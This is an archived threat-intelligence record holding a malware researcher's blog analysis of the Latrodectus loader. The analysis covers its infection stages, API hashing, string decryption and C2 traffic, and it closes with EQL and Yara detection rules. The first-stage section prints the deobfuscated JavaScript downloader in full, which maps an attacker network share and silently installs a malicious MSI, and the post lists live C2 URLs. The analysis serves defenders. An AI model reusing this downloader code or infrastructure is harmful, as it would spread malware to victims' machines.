{
	"id": "9b7f8f3c-6201-4e39-bbaa-06fb79da308f",
	"created_at": "2026-04-06T00:13:23.40797Z",
	"updated_at": "2026-04-10T13:11:57.662666Z",
	"deleted_at": null,
	"sha1_hash": "1652f14deef90099dac508cf29c7b615b2df6434",
	"title": "Latrodectus [IceNova] – Technical Analysis of the… New IcedID… Its Continuation… Or its Replacement? - 0x0d4y Malware Research",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 5511574,
	"plain_text": "Latrodectus [IceNova] – Technical Analysis of the… New IcedID…\r\nIts Continuation… Or its Replacement? - 0x0d4y Malware\r\nResearch\r\nBy 0x0d4y\r\nPublished: 2024-04-30 · Archived: 2026-04-02 10:49:38 UTC\r\nMy first public malware research was for a strain of IcedID. A few months later, in my nighttime activities, I was\r\nworking on technical analysis research for Sodinokibi (REvil), a Ransomware that is no longer seen, however, is\r\npart of the evolutionary history of the business model that we now know as RaaS.\r\nBut, I saw that a friend had posted an IcedID sample that didn’t match the Yara detection that I had created in my\r\nfirst research. Innocently, I decided to just check out the ‘why‘. And this ‘just checking‘, generated a new public\r\nmalware research for another strain of IcedID, a lightweight x64 DLL.\r\nSo, guess what… I decided to return to producing my public research regarding Sodinokibi… and guess what??\r\nYes, I read about a family that may have strong links with the developers of IcedID… Latrodectus!! I’m starting\r\nto think God might be signaling me not to do Sodinokibi’s public malware research. But I’ll keep trying!\r\nWell, at the time I started this research (and until now), there was very little technical analysis material about this\r\nfamily of Malware. Below we can see the very little content regarding this family on Malpedia, which is also\r\nbeing called IceNova.\r\nhttps://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/\r\nPage 1 of 34\n\nIt is also possible to observe the few samples present in MalwareBazaar.\r\nhttps://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/\r\nPage 2 of 34\n\nContext of the Latrodectus Threat\r\nLatrodectus, also known as IceNova Backdoor (by IBM), is a family of malware that has been observed lately in\r\ncampaigns linked to groups such as Trickbot (WIZARD SPIDER) and Conti (and potentially, in Ransomware\r\ndeliveries), in addition to being attributed to developers from IcedID. Therefore, Latrodectus has been highlighted\r\nas a potential threat and is used as a Loader for other malware.\r\nTo date, Latrodectus has been identified as having the following infection flow.\r\nhttps://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/\r\nPage 3 of 34\n\nAnd in this research, we will analyze each phase observed in the infection flow above.\r\nTechnical Analysis – Static and Dynamic\r\nIn this section, I will describe my reverse engineering analysis of each script and binary that makes up the\r\nLatrodectus infection flow.\r\nDuring this review, I will use the samples below.\r\nfad25892e5179a346cdbdbba1e40f53bd6366806d32b57fa4d7946ebe9ae8621 1st_stage\r\n65da6d9f781ff5fc2865b8850cfa64993b36f00151387fdce25859781c1eb711 2nd_stage.bin\r\nb9dbe9649c761b0eee38419ac39dcd7e90486ee34cd0eb56adde6b2f645f2960 slack.msi\r\n1st Stage – JS Downloader\r\nThe first malicious artifact that is delivered and that carries out the first stage of infection is a JavaScript script.\r\nBelow, we can see that it is obfuscated, containing many lines of commented garbage code mixed in with the real\r\npayload.\r\nTherefore, the first task to be done is to deobfuscate this script. It’s relatively simple, the payload contains a lot of\r\ncommented garbage along with parts of the real payload, in addition to part of the real payload being\r\nuncommented. So be careful, if you are going to deobfuscate, do not just delete all the commented lines, because\r\npart of the real payload is commented.\r\nAfter deobfuscating all the code, the script will look like below.\r\nhttps://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/\r\nPage 4 of 34\n\n////var network = new ActiveXObject(\"WScript.Network\");\r\n////var attempt = 0;\r\n////var connected = false;\r\n////var driveLetter, letter;\r\n////\r\n////function isDriveMapped(letter) {\r\n//// var drives = network.EnumNetworkDrives();\r\n//// for (var i = 0; i \u003c drives.length; i += 2) {\r\n//// if (drives.Item(i) === letter) {\r\n//// return true;\r\n//// }\r\n//// }\r\n//// return false;\r\n////}\r\n////\r\n////for (driveLetter = 90; driveLetter \u003e= 65 \u0026\u0026 !connected; driveLetter--) {\r\n//// letter = String.fromCharCode(driveLetter) + \":\";\r\n//// if (!isDriveMapped(letter)) {\r\n//// try {\r\n//// network.MapNetworkDrive(letter, \"\\\\\\\\wireoneinternet.info@80\\\\share\\\\\");\r\n//// connected = true;\r\n//// break;\r\n//// } catch (e) {\r\n//// attempt++;\r\n//// }\r\n//// }\r\n////}\r\n////\r\n////if (!connected \u0026\u0026 attempt \u003e 5) {\r\n//// var command = 'net use ' + letter + ' \\\\\\\\wireoneinternet.info@80\\\\share\\\\ /persistent:no';\r\n//// wmi.Get(\"Win32_Process\").Create(command, null, null, null);\r\n////\r\n//// var startTime = new Date();\r\n//// while (new Date() - startTime \u003c 3000) {}\r\n////\r\n//// connected = isDriveMapped(letter);\r\n////}\r\n////\r\n////if (connected) {\r\n//// var installCommand = 'msiexec.exe /i \\\\\\\\wireoneinternet.info@80\\\\share\\\\slack.msi /qn';\r\n//// wmi.Get(\"Win32_Process\").Create(installCommand, null, null, null);\r\n////\r\n//// try {\r\n//// network.RemoveNetworkDrive(letter, true, true);\r\n//// } catch (e) {\r\n////\r\nhttps://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/\r\nPage 5 of 34\n\n//// }\r\n////} else {\r\n//// WScript.Echo(\"Failed.\");\r\n////}\r\nvar a = (function() {\r\n var b = new ActiveXObject(\"Scripting.FileSystemObject\"),\r\n c = WScript.ScriptFullName,\r\n d = \"\";\r\n function e() {\r\n if (!b.FileExists(c)) return;\r\n var f = b.OpenTextFile(c, 1);\r\n while (!f.AtEndOfStream) {\r\n var g = f.ReadLine();\r\n if (g.slice(0, 4) === \"////\") d += g.substr(4) + \"\\n\";\r\n }\r\n f.Close();\r\n }\r\n function h() {\r\n if (d !== \"\") {\r\n var i = new Function(d);\r\n i();\r\n }\r\n }\r\n return {\r\n j: function() {\r\n try {\r\n e();\r\n h();\r\n } catch (k) {}\r\n }\r\n };\r\n})();\r\na.j();\r\n// SIG // Begin signature block\r\n// SIG // MIIpaQYJKoZIhvcNAQcCoIIpWjCCKVYCAQExDzANBglg\r\n\u003ctrunk code\u003e\r\n// SIG // End signature block\r\nAs we can see in the clean payload above, the main uncommented code has the task of removing the ”////“. This\r\nwill uncomment the rest of the payload, which will ultimately be executed.\r\nhttps://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/\r\nPage 6 of 34\n\nAs you can see in the code below, in general, the script will use the MapNetworkDrive method to map the\r\nexternal resource wireoneinternet[.]info@80\\\\share\\\\ as a shared directory on the network. The\r\nwireoneinternet[.]info address is part of the adversary’s infrastructure that makes the Latrodectus Loader\r\navailable.\r\nhttps://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/\r\nPage 7 of 34\n\nAfter mapping the C2 address as a share, the script will use the ‘net.exe‘ utility to connect to the ‘remote share‘.\r\nAnd finally, the script will download (implicit action) and install an MSI called slack.msi, through msiexec.exe,\r\nwhich is the Latrodectus Loader.\r\nAfter that, the MSI will be executed and we will move on to the next section, where we will analyze the MSI\r\nsample.\r\nhttps://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/\r\nPage 8 of 34\n\nMalicious MSI Stage Static Analysis – Malicious MSI\r\nThe malicious artifact that is collected through the JS script, is an MSI artifact, so the analysis method differs from\r\na PE artifact. For this analysis, I used Orca to identify the configurations of the malicious MSI package.\r\nWhen we open the slack.msi artifact, we can see that in the CustomAction properties, the execution of a DLL\r\nthrough rundll32 is configured, which will be executed through a binary called viewer. Below we can see that\r\nthis DLL will be present in the digistamp directory (in the AppData folder), and the function to be executed as an\r\nargument is called homi.\r\nThrough Orca, it is also possible to validate the presence of the DLL that will be executed during the execution of\r\nthis MSI package.\r\nNow that we know what will be executed, let’s run this MSI package in a monitored laboratory, and let’s check the\r\nactions that will be performed.\r\nMalicious MSI Stage Dynamic Analysis – Malicious MSI\r\nWhen running MSI in a monitored laboratory, you can observe the sequence of actions that are performed. The\r\nfirst action is the creation on disk of the DLL observed through Orca, mbae-api-na.dll in the local AppData\r\ndirectory.\r\nhttps://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/\r\nPage 9 of 34\n\nAfter that, the viewer binary executes rundll32 which will execute the homi function of the mbae-api-na.dll\r\nDLL.\r\nhttps://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/\r\nPage 10 of 34\n\nAfter that, the DLL mbae-api-.dll is loaded through rundll32. In the log below (Sysmon Event ID 7), we are able\r\nto identify some static information that the developers put in the DLL, to try to circumvent the static analysis.\r\nMalwarebytes Anti-Exploit?? Serious?\r\nhttps://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/\r\nPage 11 of 34\n\nStrangely, after loading the DLL, the same process that loaded the DLL named mbae-api-na.dll (PID 2808), also\r\nloaded the same DLL now named Update_4140f889.dll, taking as argument the same name as the homi function .\r\nAnd finally, the DLL Update_4140f889.dll is loaded, and contains the same static information, as we can see\r\nbelow.\r\nhttps://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/\r\nPage 12 of 34\n\nFrom this point, we can obtain the DLL that will load the real Latrodectus payload, which we will analyze in the\r\nnext section.\r\nLatrodectus Loader Dynamic Analysis\r\nThis DLL (Update_4140f889.dll) is basically the Loader for the real Lactrodectus payload, which is publicly\r\navailable through MalwareBazaar. To obtain this payload, we need to use a debugger to analyze the Loader’s\r\nexecution. Through x64dbg, I updated the command line run by the MSI package, and began my analysis.\r\nBelow is the complete command line that I used to debug the execution of the DLL through rundll32.\r\n\"C:\\Windows\\System32\\rundll32.exe\" \"C:\\Users\\Administrator\\AppData\\Roaming\\Custom_update\\Update_4140f889.dll\",\r\nIn order to identify the allocation of the true payload, I set two breakpoints in the following APIs:\r\nVirtualAlloc\r\nVirtualProtect\r\nhttps://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/\r\nPage 13 of 34\n\nOnly with these breakpoints, we are able to identify the process of allocating and writing the real Lactrodectus\r\npayload into memory. Below, we can see the allocation of the Lactodectus DLL in memory.\r\nIt is interesting to note that the process of allocating and writing data to memory is done in parts. Loader loads a\r\nlarge block of data, and gradually writes the data into each space.\r\nAfter that, just save the DLL to disk using x64dbg Dump.\r\nAfter doing the dump, if we play the DLL extracted from memory in Detect It Easy, specifically in the Extraction\r\nsection, we will observe that this sample contains another PE artifact within itself… yes… I felt like I was in\r\nInception.\r\nhttps://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/\r\nPage 14 of 34\n\nIn the next section, we will reverse engineer this DLL.\r\nLatrodectus 2nd Stage Reverse Engineering\r\nAs we saw at the end of the previous section, the Latrodectus main DLL extracted from memory contained a PE\r\nfile in the .data section, identified using Detect It Easy.\r\nWe can see the use of this PE file, exactly in the initial function of the DLL extracted from memory, being passed\r\nas an argument to the sub_180002650 function.\r\nWhen looking at the data blob reference data_180004000, in addition to being easy to identify a PE artifact\r\n(through the DOS header), it is also possible to observe that the third argument is the total size of this integrated\r\nbinary.\r\nhttps://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/\r\nPage 15 of 34\n\nTherefore, it is understandable that we can assume that this main DLL just injects this other PE artifact into\r\nmemory, and executes it.\r\nTo validate this assumption, we just need to analyze the function sub_180002650 (which I named ), which is a\r\nwrapper for the function that checks whether the embedded PE contains the headers referring to a PE executable.\r\nhttps://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/\r\nPage 16 of 34\n\nIn this same function, the code allocates memory the size of the embedded PE. Now let’s move on to analyzing\r\nthe embedded PE that is allocated and executed in memory.\r\nLatrodectus Main DLL Reverse Engineering\r\nNow we can finally analyze the real Latrodectus!!\r\nBelow, we can observe some static information from Latrodectus, we can identify that this DLL exports four\r\nfunctions, they are:\r\nextra\r\nfollower\r\nrun\r\nscub\r\nFurthermore, it is also possible to observe that this DLL imports few standard APIs, which indicates that it is\r\npossible that it implements some technique to rebuild its import table at run time.\r\nImport Table Reconstruct Through API Hashing\r\nRight at the beginning of the main function, Latrodectus has a function that I named\r\niat_reconstruct_api_hashing. This function allows Latrodectus to execute functions that will reconstruct its\r\nimport table through the API Hashing technique, specifically using the crc32 hash.\r\nAs an example, below is one of the functions that contains crc32 hashes to be resolved at run time.\r\nhttps://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/\r\nPage 17 of 34\n\nAnd below follows the same function, with the crc32 hashes resolved statically using the HashDB plugin,\r\ndeveloped by cxiao.\r\nhttps://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/\r\nPage 18 of 34\n\nThis way it is possible to rename the variable names and identify cross-references throughout the code. Without\r\nperforming this activity, it becomes impossible to statically analyze this sample.\r\nDecrypting Strings\r\nLatrodectus also implements a custom string decryption algorithm, which decrypts strings at runtime, with the aim\r\nof further obfuscating your code.\r\nBelow, we can observe the algorithm in Decompiler and Disassembler.\r\nBelow, we can observe the execution of this algorithm on x64dbg, where the string of one of the Latrodectus C2\r\naddresses was decrypted.\r\nhttps://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/\r\nPage 19 of 34\n\nTo automate the extraction, I set x64dbg to record logs whenever my breakpoint was triggered, collecting the\r\nASCII value in the RDX register (where the decrypted values are stored).\r\nBelow are all the strings that this algorithm decrypts during the execution of this Latrodectus sample. Some of\r\nthese strings are called multiple times during the code, which increases the recurrence of the function that decrypts\r\nthe strings.\r\nDecrypt string: L\"\\\\*.dll\"\r\nDecrypt string: L\"runnung\"\r\nDecrypt string: \"%04X%04X%04X%04X%08X%04X\"\r\nDecrypt string: \"Littlehw\"\r\nDecrypt string: L\".exe\"\r\nDecrypt string: \"https://titnovacrion.top/live/\"\r\nDecrypt string: \"https://skinnyjeanso.com/live/\"\r\nDecrypt string: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdef\r\nDecrypt string: L\"Update_%x\"\r\nDecrypt string: L\"Update_%x\"\r\nDecrypt string: L\"AppData\"\r\nDecrypt string: L\"Desktop\"\r\nDecrypt string: L\"Startup\"\r\nhttps://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/\r\nPage 20 of 34\n\nDecrypt string: L\"Personal\"\r\nDecrypt string: L\"Local AppData\"\r\nDecrypt string: L\"Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Shell Folders\"\r\nDecrypt string: L\"Custom_update\"\r\nDecrypt string: L\"\\\\update_data.dat\"\r\nDecrypt string: L\"rundll32.exe\"\r\nDecrypt string: L\"\\\"%s\\\", %s %s\"\r\nDecrypt string: L\"LogonTrigger\"\r\nDecrypt string: L\"PT0S\"\r\nMutex Created by Latrodectus\r\nOne of the strings decrypted during the execution of the decryption algorithm is the string that Latrodectus will\r\nuse as a Mutex. Below we can see this action on Disassembler, when the encrypted string is decrypted and it’s\r\npasses as a argument to CreateMutexW API.\r\nWith this Mutex created, Latrodectus can identify whether it has already infected the device on which it was run.\r\nLocal Enumeration\r\nLatrodectus collects a series of local information, such as the device name (GetComputerNameExA), user name\r\n(GetUserNameA), information regarding the network adapter (GetAdaptersInfo). Below, we can see the\r\ncollection of the current user’s name, through the execution of the GetUserNameA API.\r\nhttps://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/\r\nPage 21 of 34\n\nDelete and Create Another Process of Yourself\r\nDuring its execution, Latrodectus creates a new file in the C:\\Users\\AppData\\Roaming\\Custom_update directory,\r\ncalled Update_\u003crandom_numbers\u003e.dll, and deletes the payload from the current path. Here we see some\r\ndecrypted strings being used, such as Custom_update, Update_%x and AppData.\r\nAfter creating the file, Latrodectus creates a new rundll32 process to execute the same scub function as the newly\r\ncreated DLL (it is the same payload) in the C:\\Users\\\\AppData\\Roaming\\Custom_update directory. Below, we can\r\nsee the creation of the new process through the CreateProcessW API.\r\nI opened the two DLLs in PEStudio (the DLL that is previously analyzed and extracted, and the DLL dropped in\r\nAppData) and as we can see below, it is the same binary.\r\nhttps://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/\r\nPage 22 of 34\n\nAnd after the process runs, a new rundll32 process is created.\r\nAfter creating this new process, Latrodectus reexecutes the import table construction process through API\r\nHashing, checks whether the Mutex already exists as well as the Update_\u003crandom_number\u003e.dll file, and jumps\r\ndirectly to the communication routine.\r\nC2 Routine\r\nThe communication routine with C2 is simple, using APIs such as InternetConnectA and HttpSendRequestA\r\nand others as well, to set up and close the connection, but these two are the ones that give us the most important\r\ninformation.\r\nBelow we can see Latrodectus using the decrypted strings to set up its connection with the C2 titnovacrion[.]top\r\nwith the InternetConnectA API.\r\nhttps://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/\r\nPage 23 of 34\n\nNext, Latrodectus assembles your HTTP request and sends it with the HttpSendRequestA API. With this API, we\r\ncan observe the Base64 content sent (via the POST method) to C2.\r\nIf the connection cannot be established in the way Latrodectus expects, it will perform the same procedures with\r\nthe second C2 skinnyjeanso[.]com. Below, we can see the same sequence.\r\nhttps://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/\r\nPage 24 of 34\n\nAs you can see in the screenshots, the base64 content remains the same for sending both C2 addresses.\r\nThreat Hunting Perspective\r\nFrom this section onwards, we will focus on the process of detecting the behavior produced by this Latrodectus\r\nsample. Let’s go.\r\nHow to Detect the Latrodectus Execution Flow, Through SIEM?\r\nGoing back to the beginning, it is important to know that everything will start either with a JS script or with an\r\ninfected PDF. This 1st Stage will download an MSI and run it. When executed, a process will be created for a\r\ntemporary file within the C:\\Windows\\Installer\\MSI\u003crandom_numbers\u003e.tmp directory, which will then drop and\r\nexecute the Latrodectus DLL Loader.\r\nhttps://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/\r\nPage 25 of 34\n\nWhen executed, a process for rundll32 will be created, with the default (so far) being the function to be called\r\nidentified as ‘homi‘ in the DLL Loader.\r\nhttps://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/\r\nPage 26 of 34\n\nThe DLL Loader will inject the final Latrodectus DLL into memory and drop it into the AppData directory. When\r\nexecuting it, it will call one of the two functions that have the same functionality, ‘homi‘ and ‘scub‘. Below is a\r\nsequence of the execution of both. This sequence of process creation can be detected by Sysmon Event ID 1.\r\nhttps://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/\r\nPage 27 of 34\n\nhttps://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/\r\nPage 28 of 34\n\nAfter these executions, there will be several attempts to connect to the Latrodectus C2 addresses through rundll32\r\nprocess. This can be detected by Sysmon Event ID 22.\r\nhttps://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/\r\nPage 29 of 34\n\nDetection Engineering\r\nNow that we know the execution flow and how to detect the behavior produced by Latrodectus, through Sysmon,\r\nwe will create detection rules for SIEM, with the aim of monitoring such behavior.\r\nEQL Detection Rule\r\nBelow is an EQL rule that I produced with the aim of detecting the execution flow of the Latrodectus malicious\r\nMSI, until the execution of the malicious DLL that will call one of the ‘scub‘ or ‘homi‘ functions, followed by\r\nthe loading of this DLL. This entire behavior is executing within a minute, so our detection rule monitors this\r\nsequence of events within 1 minute.\r\n sequence by host.name with maxspan=60s\r\n [any where (event.code : \"1\" or event.code: \"4688\") and process.name : \"MSI*.tmp\" and process.command_line :\r\n [any where (event.code : \"1\" or event.code: \"4688\") and process.name : \"rundll32.exe\" and (process.command_l\r\n [any where event.code : \"7\"]\r\nAlso create a separate rule that detects network connection attempts through rundll32.exe, which in itself\r\ndeserves a monitoring rule. The rule is very simple, having only one of the Event IDs 3 (effective network\r\nconnection) or 22 (name resolution attempt, in case the C2 is no longer responding, or the infected device\r\ndoes not have internet access).\r\n(event.code : \"3\" or event.code : \"22\") and process.name : \"rundll32.exe\"\r\nEQL Detection Rule – Validation\r\nIn order to validate the execution flow, below is the validation of the functioning of the rules, detecting everything\r\nfrom the Latrodectus execution flow to multiple connection attempts with the C2 addresses.\r\nhttps://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/\r\nPage 30 of 34\n\nIn more detail, we can look at the destination addresses of connection attempts by the rundll32.exe process.\r\nYara Detection Rules\r\nIn order to detect and monitor the evolution of the Latrodectus code, I created a Yara rule to detect binaries that\r\nhave the same code pattern as the Latrodectus string decryption algorithm.\r\nBelow is the Yara rule.\r\nrule latrodectus_dll {\r\n meta:\r\nhttps://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/\r\nPage 31 of 34\n\nauthor = \"0x0d4y\"\r\n description = \"This rule detects the Latrodectus DLL Decrypt String Algorithm.\"\r\n date = \"2024-05-01\"\r\n score = 100\r\n reference = \"https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/\"\r\n yarahub_reference_md5 = \"277c879bba623c8829090015437e002b\"\r\n yarahub_uuid = \"9da6bcb5-382c-4c64-97c4-97d15db45cad\"\r\n yarahub_license = \"CC BY 4.0\"\r\n yarahub_rule_matching_tlp = \"TLP:WHITE\"\r\n yarahub_rule_sharing_tlp = \"TLP:WHITE\"\r\n malpedia_family = \"win.unidentified_111\"\r\n strings:\r\n $str_decrypt = { 48 89 54 24 10 48 89 4c 24 08 48 83 ec ?? 33 c9 e8 ?? ?? ?? ?? 48 8b 44 24 40 8b 00 89 44 2\r\n condition:\r\n uint16(0) == 0x5a4d and\r\n $str_decrypt\r\n}\r\nYara Detection Rules – Validation\r\nWith the aim of validating the Yara rule developed, I submitted it to Unpac.me where was matched 12 samples\r\nclassified as Latrodectus (win_unidentified_111_auto is the description of the family by Malpedia). We can\r\nobserve the matches through the sequence of images below.\r\nhttps://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/\r\nPage 32 of 34\n\nhttps://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/\r\nPage 33 of 34\n\nConclusion\r\nWell, I hope you enjoyed and learned something interesting from this article. I hope I can complete my research\r\nregarding Sodinokibi now!! Until next time, if you have any questions or feedback, feel free to contact me.\r\nSource: https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/\r\nhttps://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/\r\nPage 34 of 34",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://0x0d4y.blog/latrodectus-technical-analysis-of-the-new-icedid/"
	],
	"report_names": [
		"latrodectus-technical-analysis-of-the-new-icedid"
	],
	"threat_actors": [
		{
			"id": "77b28afd-8187-4917-a453-1d5a279cb5e4",
			"created_at": "2022-10-25T15:50:23.768278Z",
			"updated_at": "2026-04-10T02:00:05.266635Z",
			"deleted_at": null,
			"main_name": "Inception",
			"aliases": [
				"Inception Framework",
				"Cloud Atlas"
			],
			"source_name": "MITRE:Inception",
			"tools": [
				"PowerShower",
				"VBShower",
				"LaZagne"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "f6f91e1c-9202-4497-bf22-9cd5ef477600",
			"created_at": "2023-01-06T13:46:38.86765Z",
			"updated_at": "2026-04-10T02:00:03.12735Z",
			"deleted_at": null,
			"main_name": "WIZARD SPIDER",
			"aliases": [
				"TEMP.MixMaster",
				"GOLD BLACKBURN",
				"DEV-0193",
				"UNC2053",
				"Pistachio Tempest",
				"DEV-0237",
				"Storm-0230",
				"FIN12",
				"Periwinkle Tempest",
				"Storm-0193",
				"Trickbot LLC"
			],
			"source_name": "MISPGALAXY:WIZARD SPIDER",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "bc119938-a79c-4e5f-9d4d-dc96835dfe2e",
			"created_at": "2024-06-04T02:03:07.799286Z",
			"updated_at": "2026-04-10T02:00:03.606456Z",
			"deleted_at": null,
			"main_name": "GOLD BLACKBURN",
			"aliases": [
				"ITG23 ",
				"Periwinkle Tempest ",
				"Wizard Spider "
			],
			"source_name": "Secureworks:GOLD BLACKBURN",
			"tools": [
				"BazarLoader",
				"Buer Loader",
				"Bumblebee",
				"Dyre",
				"Team9",
				"TrickBot"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "63061658-5810-4f01-9620-7eada7e9ae2e",
			"created_at": "2022-10-25T15:50:23.752974Z",
			"updated_at": "2026-04-10T02:00:05.244531Z",
			"deleted_at": null,
			"main_name": "Wizard Spider",
			"aliases": [
				"Wizard Spider",
				"UNC1878",
				"TEMP.MixMaster",
				"Grim Spider",
				"FIN12",
				"GOLD BLACKBURN",
				"ITG23",
				"Periwinkle Tempest",
				"DEV-0193"
			],
			"source_name": "MITRE:Wizard Spider",
			"tools": [
				"TrickBot",
				"AdFind",
				"BITSAdmin",
				"Bazar",
				"LaZagne",
				"Nltest",
				"GrimAgent",
				"Dyre",
				"Ryuk",
				"Conti",
				"Emotet",
				"Rubeus",
				"Mimikatz",
				"Diavol",
				"PsExec",
				"Cobalt Strike"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "e6a21528-2999-4e2e-aaf4-8b6af14e17f3",
			"created_at": "2022-10-25T16:07:24.422115Z",
			"updated_at": "2026-04-10T02:00:04.983298Z",
			"deleted_at": null,
			"main_name": "Wizard Spider",
			"aliases": [
				"DEV-0193",
				"G0102",
				"Gold Blackburn",
				"Gold Ulrick",
				"Grim Spider",
				"ITG23",
				"Operation BazaFlix",
				"Periwinkle Tempest",
				"Storm-0230",
				"TEMP.MixMaster",
				"Wizard Spider"
			],
			"source_name": "ETDA:Wizard Spider",
			"tools": [
				"AdFind",
				"Agentemis",
				"Anchor_DNS",
				"BEERBOT",
				"BazarBackdoor",
				"BazarCall",
				"BazarLoader",
				"Cobalt Strike",
				"CobaltStrike",
				"Conti",
				"Diavol",
				"Dyranges",
				"Dyre",
				"Dyreza",
				"Dyzap",
				"Gophe",
				"Invoke-SMBAutoBrute",
				"KEGTAP",
				"LaZagne",
				"LightBot",
				"PowerSploit",
				"PowerTrick",
				"PsExec",
				"Ryuk",
				"SessionGopher",
				"TSPY_TRICKLOAD",
				"Team9Backdoor",
				"The Trick",
				"TheTrick",
				"Totbrick",
				"TrickBot",
				"TrickLoader",
				"TrickMo",
				"Upatre",
				"bazaloader",
				"cobeacon"
			],
			"source_id": "ETDA",
			"reports": null
		}
	],
	"ts_created_at": 1775434403,
	"ts_updated_at": 1775826717,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/1652f14deef90099dac508cf29c7b615b2df6434.pdf",
		"text": "https://archive.orkl.eu/1652f14deef90099dac508cf29c7b615b2df6434.txt",
		"img": "https://archive.orkl.eu/1652f14deef90099dac508cf29c7b615b2df6434.jpg"
	}
}